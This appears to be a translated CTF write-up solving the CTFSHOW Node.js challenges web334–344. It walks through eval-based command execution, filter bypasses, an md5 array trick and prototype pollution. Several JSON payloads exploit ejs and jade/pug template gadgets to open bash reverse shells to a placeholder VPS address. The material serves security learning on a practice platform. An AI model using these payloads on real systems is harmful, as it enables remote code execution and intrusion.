Article directory
what is nodejs
Node.js is a Javascript runtime environment based on the Chrome V8 engine. It can be said that nodejs is a runtime environment, or a JS language interpreter rather than some kind of library
Nodejs is a C++ program developed based on Chrome's V8 engine to provide a JS runtime environment. At first, Nodejs was mainly installed on the server to assist everyone in developing high-performance server code with JS, but later Nodejs also shined in the front-end, bringing a revolution in front-end web development. There are two ways to run JS code under Nodejs, one is to run in the interactive environment of Node.js, the other is to write the code into a file, and then use the node command to execute the file code. Nodejs and browsers are different environments, so pay attention to these differences when writing JS code.
web334
user.js found username: 'CTFSHOW', password: '123456'
The source code is in login.js. If you find that the login is successful, you will get a flag, that is, focus on the login part.
var findUser = function(name, password){
return users.find(function(item){
return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
});
};
The requirement is that name is not equal to CTFSHOW. The second line of users.find is to take the user.js part, item.username=CTFSHOW, which means that the uppercase name of CTFSHOW can also pass the judgment, so the account password can already be obtained here.
username:ctfshow
password:123456
Login to get flag
web335
Source code discovery/?eval=
Then pass a ?eval=ls, the echo is that the file cannot be found, so it may be to include a file or something
But after testing, I found that even index.php could not be found, so I passed another eval=1, and echoed a 1 in index.php
Considering that this is nodejs, there is a good chance that eval is the executed eval function.在nodejs中,eval()方法用于计算字符串,并把它作为脚本代码来执行,语法为“eval(string)”;如果参数不是字符串,而是整数或者是Function类型,则直接返回该整数或Function。
Check out the child_process of the nodejs documentation: http://nodejs.cn/api/child_process.html
Note:child_process.exec(command[, options][, callback])
So construct a payload
require("child_process").execSync('ls')
Find flag: fl00g.txt, just cat
web336
It is still eval, but the previous payload will display tql, indicating that it needs to be bypassed here
Test it, filter the exec string
Here is a way to splicing exec to bypass
require("child_process")['exe'%2B'cSync']('ls')
Take a look at wp, you can see the source code here
__filename 表示当前正在执行的脚本的文件名。它将输出文件所在位置的绝对路径,且和命令行参数所指定的文件名不一定相同。 如果在模块中,返回的值是模块文件的路径。 __dirname 表示当前执行脚本所在的目录。
So pass ?eval=__filename to see that the path is /app/routes/index.js
Then pass eval=require('fs').readFileSync('/app/routes/index.js','utf-8') to find that exec and load are filtered
web337
source code
var express = require('express');
var router = express.Router();
var crypto = require('crypto');
function md5(s) {
return crypto.createHash('md5')
.update(s)
.digest('hex');
}
/* GET home page. */
router.get('/', function(req, res, next) {
res.type('html');
var flag='xxxxxxx';
var a = req.query.a;
var b = req.query.b;
if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
res.end(flag);
}else{
res.render('index',{
msg: 'tql'});
}
});
module.exports = router;
To pass in a and b, a and b must be true, a and b have the same length, a is not equal to b, a+flag and b+flag are equal after md5, then output flag
I seem to have seen this before, but I really forgot. It seems that there is one in the original theme section of the competition. There is definitely one in the original theme section of the CTFSHOW competition. I did it at the time, there must be!
The first thing that came to mind was to pass an array to bypass, but the test found that it didn't work, so I used the console to debug it.
The console tested it and found that the two values are not equal
It is found that the values passed in this way are equal, that is, passing a[:]=1&b[:]=2 can bypass
web338
The same login interface as the first question, download the source code and unzip it
First pass a random 123 123, and echo the login failure {"username":"123","password":"123"}
Look at the source code and see the login section in routes/login.js
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');
/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var flag='flag_here';
var secert = {
};
var sess = req.session;
let user = {
};
utils.copy(user,req.body);
if(secert.ctfshow==='36dboy'){
res.end(flag);
}else{
return res.json({
ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});
}
});
module.exports = router;
which also requires a utils/common
//common.js
module.exports = {
copy:copy
};
function copy(object1, object2){
for (let key in object2) {
if (key in object2 && key in object1) {
copy(object1[key], object2[key])
} else {
object1[key] = object2[key]
}
}
}
The flag will be printed whenever secert.ctfshow==='36dboy'. The test site is the pollution of the prototype chain . For the first time, see what P God wrote.
Deep Understanding of JavaScript Prototype Pollution Attacks
By the way, when I looked at it, I found that common.js and the JS in the example of P God can be said to be exactly the same
So try to pollute the Object class and add the {"ctfshow":"36dboy"} attribute. Change it when sending the package
Because of prototype pollution, the secret
object directly inherits Object.prototype, which leads tosecert.ctfshow==='36dboy'
web339
Added and modified in login.js
//login.js
function User(){
this.username='';
this.password='';
}
function normalUser(){
this.user
}
......
if(secert.ctfshow===flag){
res.end(flag);
......
In addition, a new api.js has been added
//api.js
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');
/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
res.render('api', {
query: Function(query)(query)});
});
module.exports = router;
new knowledge again
expected solution
The flaw is inres.render('api', { query: Function(query)(query)});
The query variable in Function is not referenced, and rce can be performed by assigning any value to it through prototype pollution.
{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/[vps-ip]/[port] 0>&1\"')"}}
After the index interface POST, you can directly POST to access the api interface
The new server that Madd bought forgot to open the security group. I played hard for 20 minutes, and Bengbu lived.
flag is in login.js
This means success
unexpected solution
ejs template vulnerability leads to rce (Code-Breaking 2018 Thejs question (see P God blog, just the previous link))
{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/[vps-ip]/[port] 0>&1\"');var __tmp2"}}
The method of using the payload is the same as above. First, the index sends the package and then the api sends the package.
web340
This time, there are many definitions in the login.
//login.js
var user = new function(){
this.userinfo = new function(){
this.isVIP = false;
this.isAdmin = false;
this.isAuthor = false;
};
}
utils.copy(user.userinfo,req.body);
if(user.userinfo.isAdmin){
res.end(flag);
Two levels of pollution are required here, you can read Master Yu's blog https://blog.csdn.net/miuzzx/article/details/111780832#web339_48
There is an example
{"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/vps-ip/port 0>&1\"')"}}}
web341
This time, the api was deleted, and the login was also changed.
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');
/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var user = new function(){
this.userinfo = new function(){
this.isVIP = false;
this.isAdmin = false;
this.isAuthor = false;
};
};
utils.copy(user.userinfo,req.body);
if(user.userinfo.isAdmin){
return res.json({
ret_code: 0, ret_msg: '登录成功'});
}else{
return res.json({
ret_code: 2, ret_msg: '登录失败'});
}
});
module.exports = router;
Here, the unexpected of 339 is used, which is the expected solution of this problem. Note that it is necessary to nest, because it is a revision of the 340.
{"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/vps-ip/port 0>&1\"');var __tmp2"}}}
Then you can access the interface casually, for example, refresh the home page, and after connecting, directly enter env to see the environment variables to find the flag
web342-343
It is said that it is jade rce (https://xz.aliyun.com/t/7025), because I have not gone to understand, so I will play according to the masters here.
{"__proto__":{"__proto__":{"type":"Block","nodes":"","compileDebug":1,"self":1,"line":"global.process.mainModule.constructor._load('child_process').execSync('bash -c \"bash -i >& /dev/tcp/vps-ip/port 0>&1\"')"}}}
When sending the package, the "Content-Type" in the request header is changed to "application/json"
Looking for flag is still env
web344
router.get('/', function(req, res, next) {
res.type('html');
var flag = 'flag_here';
if(req.url.match(/8c|2c|\,/ig)){
res.end('where is flag :)');
}
var query = JSON.parse(req.query.query);
if(query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true){
res.end(flag);
}else{
res.end('where is flag. :)');
}
});
The comma is filtered, and even %2c is filtered, and then %2c is also a comma
Anyway, to pass?query={"name":"admin"&query="password":"ctfshow"&query="isVIP":true}
Here, you can directly encode the parameters to be passed to the URL.
?query=%7b%22%6e%61%6d%65%22%3a%22%61%64%6d%69%6e%22&query=%22%70%61%73%73%77%6f%72%64%22%3a%22%63%74%66%73%68%6f%77%22&query=%22%69%73%56%49%50%22%3a%74%72%75%65%7d